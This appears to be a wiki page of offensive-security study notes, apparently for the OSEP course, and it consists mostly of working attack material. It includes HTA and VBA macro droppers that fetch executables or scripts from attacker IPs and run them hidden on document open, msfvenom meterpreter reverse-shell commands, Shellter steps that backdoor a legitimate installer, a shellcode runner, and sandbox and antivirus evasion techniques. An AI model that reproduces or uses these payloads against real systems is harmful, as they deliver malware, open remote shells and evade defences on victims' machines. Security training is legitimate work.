[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
